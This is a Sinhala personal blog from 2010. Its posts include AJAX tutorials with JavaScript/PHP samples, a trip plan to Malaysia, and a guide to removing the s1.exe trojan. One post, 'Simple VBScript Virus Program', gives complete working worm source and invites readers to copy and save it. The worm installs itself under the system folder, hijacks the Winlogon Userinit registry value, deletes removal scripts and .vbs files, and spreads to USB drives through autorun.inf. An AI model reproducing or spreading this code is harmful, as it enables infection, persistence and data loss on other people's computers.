Sunday, May 23, 2010

AJAX තනියෙන් ඉගෙනගන්න - 3

මම හිතනවා ඔයගොල්ලන්ට AJAX ගැන තරමක දැනුමක් ලැබෙන්න ඇති කියලා...
දැන් අපි  දැනට කරපු උදාහරණ වලට පොඩි කොටසක් එකතු කරලා අපේ Web Page එක ලස්සන (add Some Professional look) කරගමු.

User button එක click කරලා server එකෙන් data එනකන් බලන් ඉන්න උනොත්?
(Due to Traffic on Server / Speed of Internet Connection)
සමහරවිට User  හිතයි එක crash/stuck වෙලාකියලා..

ඒකට තියන විසදුම  තමයි Loading..... කියලා  user ට පෙන්නන එක.

ඔක්කෝටම කලින් අපි  අපේ Page එක තවම Data Loaging... කියලා අගවන *.gif File එකක් හදමු.
http://www.ajaxload.info/ එකෙන් කැමති විදිහක Loaging... Gif එකක් හදාගන්න පුලුවන් .

 මේ වගේ එකක් හොදයි.




ඊට පස්සේ කරන්නේ මේ කේත කොටස අපේ *.Html File එකේ අවශ්‍ය තැනින් දාගන්නවා

<img  style="visibility:hidden" src="myLoader.gif"/>

මේක image tag එකක්. හැබැයි එක hidden කරලයි තියෙන්නේ. අපි කරන්න හදන්නේ අපේ javascript එකෙන් ඒ image එක visible කරන්න.

 src="myLoader.gif" එකට අපේ gif එක save කරගත්තු path එක දෙන්න.

දැන් javascript එක බලමු.


function grabData(val){

  if( myObj){     

document.getElementById('loading').style.visibility='visible'; // show gif

    var source='grabData2.php?val='+val+"&u="+Math.random();  
    myObj.open('GET',source);  
    myObj.onreadystatechange=function(){
       
        if(myObj.readyState == 4 && myObj.status == 200){
            document.getElementById('cust').innerHTML=myObj.responseText;

            document.getElementById('loading').style.visibility='hidden'; //hide gif

            }
        }

        myObj.send();
  }
}
 මේ function එක ඔයාලට මතක ඇති. ඒකේ අලුතින් add  කරලා තියන code line දෙක බලන්න.

දැන් හරි. web page එක refresh කරලා බලන්න.

දැන‍ට කරපු උදාහරණ ‍වල updated virsion මෙතනින් ගන්න.

View Example : http://chikugossip.noads.biz/updates/ajax/ajax-sam.html
Download Sample_0

View Example :http://chikugossip.noads.biz/updates/ajax1/ajax-sam1.html
Download Sample_1

View Example : http://chikugossip.noads.biz/updates/ajax2/ajax-sam2.html
Download Sample_2



(Special Thanks to www.kuppiya.com)



----------//-----------

AJAX තනියෙන් ඉගෙනගන්න - 2

මේකත් අපි කලින් කරපු එකට සමාන එකක්...

Example 2 : යම්කිසි Value එකක් Server එකට Send  කරලා ඊට අදාල  data ටික Menu එකක‍ට  Fill කරගැනීම.
View Example : www.chikugossip.noads.biz/ajax2/ajax-sam2.html
Download Sample_2.zip 




ajax-sam2.html   file එකේ coding  එක.


<html>
<head>
<title>Ajax Sample2 - Chiku Gossips</title>
<script type="text/javascript" src="ajax2.js"></script>
</head>

<body>
<h1>Chaining Combo Boxes (Menu/List)</h1>
<h3>Send Value by Selecting Menu item  and Fill another Menu</h3>

<table width="905" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="173" align="left">Select Route First : </td>
    <td width="192" align="left"><select name="route" id="route" onChange="grabData(this.value)">
      <option selected value="3" style="font-weight:bold">Select Route</option>
      <option value="0">Kelaniya</option>
      <option value="1">Kiribatgoda</option>
      <option value="2">Kadawata</option>
    </select></td>
    <td width="154" align="left">Select Customer then :</td>
    <td width="386" align="left"><div id="cust" ></div></td>
  </tr>
</table>


</body>
</html>

ajax2.js  file එකේ coding  එක. 


var myObj =false; // Define XMLHttpRequest Object and Initilized to false
if(window.XMLHttpRequest){
    myObj=new XMLHttpRequest(); // for Mozilla Firefox
}else if(window.ActiveXObject){
    myObj=new ActiveXObject("Microsoft.XMLHTTP"); // for Internet Explorer
}

function grabData(val){

  if( myObj){ // check myObj is true or not
   
    var source='grabData2.php?val='+val+"&u="+Math.random();  // php file at the server
    myObj.open('GET',source);   //open XMLHttpRequest Object
    myObj.onreadystatechange=function(){
       
        if(myObj.readyState == 4 && myObj.status == 200){
            document.getElementById('cust').innerHTML=myObj.responseText;
            }
        }
        myObj.send();
  }
}



grabData2.php file එකේ coding  එක.  



<?PHP
$i=0;
$route=$_GET['val'];

$custArr=array();
$custArr[0]=array('Gamage','Sarath','Kapila','Kelum','Anoma');
$custArr[1]=array('Srithunga','Kamalsiri','Premasiri','Karunathilaka','Sepalika');
$custArr[2]=array('Saumya','Asha','Piyadasa','Ganegama','Sumathipala');


if ($route <3){
    echo("<select><option selected style='font-weight:bold'>Select Customer</option>");
    for($i=0;$i<count($custArr[$route]);$i++){
        echo("<option value='".$i."'>".$custArr[$route][$i]."</option>");
    }
    echo("</select>");
}
?>


-------------//--------------
 

AJAX තනියෙන් ඉගෙනගන්න - 1

අපි පසුගිය පාඩමෙන් ඉතාම සරල AJAX භාවිතයක් ගැන සලකා බැලුවා
අද අපි තවත් වැදගත් උදාහරණයක් සලකා බලමු.

Example 1 : යම්කිසි Value එකක් Server එකට Send  කරලා ඊට අදාල  data එකක් ආපසු ගෙන්වාගැනීම.
View Example : www.chikugossip.noads.biz/ajax1/ajax-sam1.html
Download Sample_1.zip 


ajax-sam1.html   file එකේ coding  එක.

<html>
<head>
<title>Ajax Sample1 - Chiku Gossips</title>
<script type="text/javascript" src="ajax1.js"></script>
</head>

<body>
<h1>Ajax Send and Get Data From Server</h1>
<h3> we are sending the <del>name</del> value corresponded to name using menu on select onChange event</h3>
<p><br/>
 
  Select Name :
  <select name="select" id="select" onChange="grabData(this.value)">
<!-- Menu එකේ onChange event එකේදි Menu Item එකේ value එක pass කරමින් grabData() function එක call වෙනවා -->
   <option  value="6" style="font-weight:bold" selected>Select Name</option>
    <option  value="0">Chiku</option>
    <option value="1">Gajamatix</option>
    <option value="2">Edison</option>
    <option value="3">Bada</option>
    <option value="4">Bate</option>
    <option value="5">Laky</option>
  </select>
</p>
<p><br/>
 
  <input type="text" id="fullname" name="fullname" size="50" value="Full Name Goes HERE!!"/>
<!-- server එකෙන් ගන්න data  පෙන්නන්නේ මේ text field එකේ --->
</p>
</body>
</html>

ajax1.js  file එකේ coding  එක.

var myObj =false; // Define XMLHttpRequest Object and Initilized to false
if(window.XMLHttpRequest){
    myObj=new XMLHttpRequest(); // for Mozilla Firefox
}else if(window.ActiveXObject){
    myObj=new ActiveXObject("Microsoft.XMLHTTP"); // for Internet Explorer
}

function grabData(val){
   
  if( myObj){ // check myObj is true or not
   
    var source='grabData.php?val='+val+"&u="+Math.random();  // php file at the server
    myObj.open('GET',source);   //open XMLHttpRequest Object
    myObj.onreadystatechange=function(){
       
        if(myObj.readyState == 4 && myObj.status == 200){
           
            document.getElementById('fullname').value=myObj.responseText;
           
            }
        }
        myObj.send();
  }
}

grabData1.php file එකේ coding  එක. 

<?PHP
$nameArr=array('Gayan Chinthaka Kumaranayake','Isuru Anushka Jayasooriya','Samin Dhanesh Madushanka','Damith Gunasena','Manjula Batagalla','Lakshitha Pradeep','Full Name Goes HERE!!');

echo($nameArr[$_GET['val']]);
    // $_GET['val'] එකෙන් තමයි ajax-sam1.html එකෙන් pass  කරපු value එක ගන්නේ. ඒක කෙලින්ම Array එකේ index එක විදියට යොදාගන්නවා
?>

-------------//--------------

Saturday, May 22, 2010

AJAX තනියෙන් ඉගෙනගන්න - 0

හලෝ. යාලුවනේ, ගොඩක් කාලෙකට පස්සේ හම්බ උනේ.
මේ දවස්වල කැම්පස් එකේ නිවාඩු. කම්මැලිකම යන්නත් එක්ක මම හිතුවා ඔයාලට අද AJAX ගැන කියලා දෙන්න.

මොකක්ද මේ AJAX(Asynchronous JavaScript and XML).............

AJAX කියන්නේ සරලව ගත්තොත් Javascript පාවිච්චි කරන Technology එකක්.!!!!! ඇයි බය උනාද? (කියවගෙන යන්න...)

මේ පිංතූරය බලන්න....



මේකෙන් පෙන්නන්නේ HTTP හරහා Client කෙනෙක් Server එකක් එක්ක ගනුදෙනු කරන විදිය.

Client කෙනෙක් Request එකක් කරපුවහම Server එක Response කරනවා.
අපි ගොඩක් වෙලාවට Server එකට Data යවන්න එක්කෝ GET method නැත්නම් POST method යොදාගන්නවනේ. ඒක කරන්නේ අපේ මේ HTML coding එකෙන්.

<form method="GET" action="loginValidator.php">

blah blah...

</form>


අපි Form එකට අදාල Submit Button එක Click කරපුවහම තමයි Data ටික Server එකට යන්නේ.
ඒත් ඔයාලට මතක ඇති Form එක Submit වෙනවත් එක්කම Page එක Reload වෙනවා.

දැන් හොද වෙලාව AJAX ගාව ගන්න...

ඉතින් අපට ඕනෙනම් Page එක Refresh(Reload) නොකර Server එකට Data යවන්න හරි Server එකෙන් Data ගන්න හරි, ඒ වෙලාවට අපි AJAX යොදාගන්නවා....

Ex:
  1. අකුර බැගින් ටයිප් කරනවිට Suggestions පෙන්වීමට (Google Search,Youtube Search)
  2. E-mail Address එකක් අලුතින් හදන විට දැනට එම E-mail Address එක ලබාගෙන ඇතිද නැතිද යනවග බැලීමට (Yahoo Email Registration)
  3. List box Item එකක් select කරනවිට ඊට අදාල List එකක් පෙන්වීමට සහ එයිනුත් Item එකක් Select කරනවිට තවත් List එකක් පෙන්වීමට (Intel.com - Downloads)

ගොඩක් AJAX වලින් කරන වැඩ Facebook එකේ තියෙනවා.

දැන් ඔයාලට වල අවශ්‍යතාවය තේරෙනවනේ.
ඊලගට අපි ඒක ඉගෙනගන්න යන්නේ.

AJAX ඉගෙනගන්න ඔයාලා දැනගන සිටිය යුතු දේවල්....
  1. HTML Basics
  2. Javascript
  3. Any Server Side Scripting Language (Ex: PHP/ASP/ASP.NET)


දැන් කතා ඇති AJAX පටන්ගමු.......


Example 0 : Server එකේ ඇති  Data එකක් ගෙන්වාගැනීම.
View Example : www.chikugossip.noads.biz/ajax/ajax-sam.html
Download Sample_0.zip
 
ajax-sam.html   file එකේ coding  එක.

<html>
<head>
<title>Ajax Sample - Chiku Gossips</title>
<script type="text/javascript" src="ajax.js"></script> <!-- imports ajaz.js --->

<!--  ajax.js file එක අපේ ajax-sam.html file එකට import කරගන්නවා ---->

</head>
<body>
<h1>Ajax Sample - 0</h1>
<div id="dataViewer">Data will display here</div>
<!-- server එකෙන් ගන්න data  පෙන්නන්නේ මේ div එකේ --->
<br/>
<input type="button" onClick="grabData()" value="Show"/>
<!-- button එකේ onClick event එකේදි grabData() function එක call වෙනවා-->
</body>
</html>

ajax.js  file එකේ coding  එක.

var myObj =false; // Define XMLHttpRequest Object and Initilized to false
// XMLHttpRequest Object එකක් හදලා ඒකේ අගය  false කරනවා

if(window.XMLHttpRequest){ // මේකෙන් කරන්නේ user ඉන්න browser එක මොකක්ද කියලා බලලා ඊට ගැලපෙන විදියට XMLHttpRequest ඔබ්ජෙක්ට් එක set කරනවා
    myObj=new XMLHttpRequest(); // for Mozilla Firefox
}else if(window.ActiveXObject){
    myObj=new ActiveXObject("Microsoft.XMLHTTP"); // for Internet Explorer
}

function grabData(){ //ajax-sam.html file එකේ දි call කරන්නේ මේ function එක
   
if(myObj){ // check myObj is true or not
   
    var source='grabData.php';  // php file at the server
// server එකේ php file එකේ නම
    myObj.open('GET',source);   //open XMLHttpRequest Object
    myObj.onreadystatechange=function(){
       
        if(myObj.readyState == 4 && myObj.status == 200){

//XMLHttpRequest එකේ ready state එක 4 ද කියලා බලලා XMLHttpRequest එකේ status එක 200 ද කියලා බලනවා
//ready state එක 4 කියන්නේ  complete
//status එක 200 කියන්නේ  OK


            document.getElementById('dataViewer').innerHTML=myObj.responseText;
//div (dataViewer) එකට XMLHttpRequest එකේ responseText එක දානවා
            }
        }
       
        myObj.send(null);
    }
}
  
grabData.php file එකේ coding  එක.

<?PHP
$nameArr=array('Chiku','Eda','Gaja','Bate','Luky','Dammi','Chicks','Gajamatix','Edison','Bada','Ediyananda');
echo($nameArr[rand(0,count($nameArr)-1)]." Is Here");
?>

------------//------------

Thursday, March 11, 2010

Simple VBScript Virus Program

ගිය වතාවේ මම කිව්ව විදිහට අද කියලා දෙන්න යන්නේ vbScript වලින් කොහොමද සරල virus වැඩසටහනක් හදාගන්නේ කියලා.

Notepad වලදි පහලින් තියන coding එක type කරන්න

copy කරලා paste කරගත්තත් කමක් නෑ...



Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\chiku2008.VBS") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\chiku2008.VBS",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\chiku2008.VBS")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Chiku Sample Virus Programme"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.chikugossip.blogspot.com"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\chiku2008.VBS"
For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("VirusRemoval") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"
If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
End If
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\chiku2008.VBS") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\chiku2008.VBS",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\chiku2008.VBS")
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe chiku2008.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe chiku2008.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe chiku2008.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe chiku2008.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
END IF
NEXT
END SUB


ඊට පස්සේ මේ file එක chiku2008.vbs කියලා save කරන්න

(නම දාන්න ඕන *.vbs කියලා.. හැබැයි code එක ඇතුලෙත් තැන් කීපයකම ඒ නම වෙනස් වෙන්න ඕන)
ඔය ගොල්ලන්ට කැමති කැමති විදිහ‍ට edit කරන්න පුලුවන්....
ඔයාලගෙ නම දාගත්තට මට කමක් නෑ..

හැබැයි ඕං මොනවා හරි උනොත් චිකුවා අල්ලන්න එපා හොදද?


මං ඊලග ද‍වසේ කියලා දෙන්නම් මේක කොහොමද වැඩකරන්නේ කියලා..‍

*******************************************************
(චිකුවා ගෙනි)

Wednesday, March 10, 2010

Get Rid Of S1.exe

හලෝ.. යාලුවනේ, කොහොමද ඔයාලට....

මට නම් මේ දවස්වල හරියට වැඩ.. කැම්පස් එකේ Exams නේ.

ඒත් ඉතිං මොනා කරන්නද? හැමවෙලාවෙම පාඩම් කරන්නත් බෑනේ. ඉතිං මං හිතුවා ගිය වතාවේ පොරොන්දු වෙච්චි විදිහට අර Virus එක අයින් කරගන්න විදිහ කියලා දෙන්න. ඒක හොදයි නේද?

Virus එක අයින් කරන්න කලින් මට හිතුනා ඒ Virus වැඩසටහන ගැන විස්තර ටිකක් කිව්වොතින් හොදයි කියලා.

S1.exe කියන්නේ Trojan(irc.lampsy trojan) වර්ගයේ පරිගණක Virus වැඩසටහනක්. මේ Virus වැඩසටහන ගොඩක් වෙලාවට ඉන්නේ තවත් Trojan වර්ගයේ පරිගණක Virus වැඩසටහන් කීපයක් එක්කලා.

උදාහරණයක් හැටියට herss.exe කියන්නේ ඒ වර්ගයේ වැඩසටහනක්.

අපි කොහොමද මේ Virus වැඩසටහන අපේ Computer එකේ තියනවා කියලා දැනගන්නේ?

1) Hidden Files View කරන්න බැරිද
2) Hard Disc Partitions/ Pen Drives / Memory Cards Open කරන්න යද්දී New Window එකකින් Open වෙනවාද
3) Windows XP මෙහෙයුම් පද්ධතිය මතදී නම් start -> Run -> ගිහින් msconfig කියලා type කරලා enter කරන්න. එතකොට එන Tab set එකේ StartUp කියන Tab එකේ තියන List එකේ herss කියලා එකක් තියෙනවාද.

එහෙම නම් s1.exe Virus වැඩසටහන ඔයාලගෙ Computer එකේ තියනවා කියලා සැක කරන්න පුලුවන්...

ඒ විතරක් නම් මදැයි,

%Temp%\herss.exe
%Temp%\cvasds0.dll (0-9)
X:\s1.exe
X:\autorun.inf

%Temp% = C:\Documents and Settings\[UserName]\Local Settings\Temp\
X:\ = C:\- Z:\ (හාඩ් ඩිස්ක් පාටිෂන්)

ඔය files ටිකත් create කරනවා.

තවත් Registry වගයකුත් Modify කරනවා.

HKLM\SOFTWARE\Classes\CLSID\MADOWN key එකක් Add කරනවා.

HKLM\SOFTWARE\Classes\CLSID\MADOWN\urlinfo: "dsdq1tl.l"
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
cdoosoft = %Temp%\herss.exe"

values add කරනවා.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\ Folder\Hidden\SHOWALL\CheckedValue = 0x00000000

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\Hidden = 0x00000002

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\ShowSuperHidden = 0x00000000

කියන ඒවා Modify කරනවා.

දැන් ඉතින් තේරෙනවනේ කරන්න ඕන දේ.... නේද?

ඉස්සර වෙලාම කරන්න ඕන දේ තමයි Virus වැඩසටහන Process වෙන එක නවත්තන්න ඕන.(herss.exe)

ඒකට Task Manager (ctrl+alt+del ඔබන්න) ගිහිල්ලා නවත්වන එක.


ඊට පස්සේ Virus වැඩසටහන Create කරපු Files හොයලා Remove කරන එක.

msdos වලදී attrib -h -s -a -r c:\*.* ගහලා කරපුවහම පාටිෂන් එකේ s1.exe යි autorun.inf යි herss.exe යි බලාගන්න පුලුවන්. ඒ විදිහටම අනිත් පාටිෂන් වල තියන Virus වැඩසටහනට අදාල files බලාගන්න පුලුවන්.

මේ files delete කරගන්න ඔයාලට batch (msDos) file එකක් උනත් ලියාගන්න පුලුවන්.

@pause
attrib -h -s -a -r X:\*.*
del X:\s1.exe
del X:\herss.exe
del X:\autorun.inf
exit

(X:\ = C:\- Z:\ (හාඩ් ඩිස්ක් පාටිෂන්))
මේ ඔක්කොම වැඩ ටික පිළිවෙලට කරගත්තහම Virus වැඩසටහන ඔයාලගෙ Computer එකන් අයින් කරගන්න පුලුවන්.

සැයු
ඔයගොල්ලෝ System Registries එක්ක deal කරන්න දන්නේ නැතිනම් දන්න කෙනෙක් ලවා කරගත්තොත් හොදයි


ඊලග දවසේ මං ඔයාලට මම කියලා දෙන්නම් vbScript වලින් Virus වැඩසටහනක් හදාගන්නේ කොහොමද කියලා.
වැඩේ නම් හොදනෑ තමයි... ඒත් ඉතින් ඒක Educational Purpouse වලට විතරක් යොදාගන්නකෝ.

අදට ඇති........

*************** ඔබට තුති ****************
(චිකුවා ගෙනි)

Tuesday, March 9, 2010

My Dreams Of Flying

මම චිකු. ඔන්න චිකුවටත් බ්ලොගර් කෙනෙක් වෙන්න හිතිලා. මොකද අදකාලේ ගොඩක් අය බ්ලොග් ලියනවනේ. ඒකයි.

මේක මම නම් කරේ My Dreams Of Flying කියලා‍. මේක My dream is to fly
Over the rainbow so high (YVES LAROCK ) සිංදුවට නං කිසිම සම්බන්ධයක් නෑ ඕං....

මේකයි ඇත්ත කාරනේ. මමයි ‍මගෙ යාලුවො සෙට් එකයි සතියකට විතර Malaysia යන්න හිතුවා.

මොනවා උනත් අදහසට පංකාදු 5 1/2 ක් විතර දාලාදෙන්න පුලුවං....

කැම්පස් එකේ හාල් වෙලා හොදටම හෙම්බත් වෙලා ඉන්නේ. පොඩි(ඇත්තටම ලොකු)වෙනසකටත් එක්ක රට සවාරියක් යන්න තියනවනං හොදයි නේද?

මගෙ යාලුවො දෙන්නෙක්ම දැනට Tickets book කරලා තියෙන්නෙ.
අනේ මං මොකද කොරන්නෙ, මට තාම Passport නෑනෙ.

ඉතිං ඕං අද උදේම මං ගියා ඒක ගන්න. හිතුව තරම් අමාරැ උනේ නං නෑ. ඒත් ඒක ගෙදරට එන්න සතියක් විතර යයි කිව්වෙ.

ම් ම් ම් ..

අපේ ගමන තියෙන්නෙ ජුනි 21 ඉදන් ජුනි 27 වෙනකං.
මං ඒ ගමන ගිහිං ආවම Photos upload කරන්නංකො.

මං දැං කියන්නං මැලේසියාව ගැන ටිකක්.

මැලේසියාව නිරිතදිග ආසියාතික රටක්. ඒක වර්ග කිලෝමීටර් 329,845 ක් විතර ලොකුයිලු. Kuala Lumpur තමයි ඒ රටේ අගනගරය. ආ මට අමතක උනා කියන්න, මැලේසියාවේ මිනිස්සු මිලියන් 28ක් විතර ඉන්නවයි කියන්නෙ.

මැලේසියාව දකුණු චීන මුහුදෙන් කෑලි දෙකකට වෙන්වෙලා තියෙන්නෙ. ඒ මැලේසියානු අර්ධද්වීපය සහ නැගෙනහිර මැලේසියාව.

ම්. ම්. ම්.

මේ රට තායිලන්තයටයි, සිංගප්පූරැවටයි, ඉන්දුනීසියාවටයි, බෲනායි දේශයටයි මායිම් වෙලානෙ තියෙන්නෙ.

අනෙක් කාරනේ කමයි මැලේසියාව අපේ රට වගේම සමකයට ආසන්න රටක්. ඒ හින්දා එහෙ තියනව කියන්නෙ උෂ්ණ කලාපයට අයිති දේශගුණයක්. (විස්තර ගත්තේ Wikipedia එකෙන් හරිද)

ඔය ටික අදට හොදටම ඇති. මං ආයෙත් හම්බවෙන්නංකො.

මගෙ ‍Computer එකට ආපු s1.exe (irc.lampsy trojan) කියන වෛරසය(trojan) මං වෛරස් ගාඩ් එකක් නැතුව අයින් කරගත්තු විදිය ඔයගොල්ලන්ට කියලා දෙන්නම් ඊලග දවසේ.

එහෙනං ගිහින් එන්නද?
අදට බායි!!

************
චිකුවා ගෙනි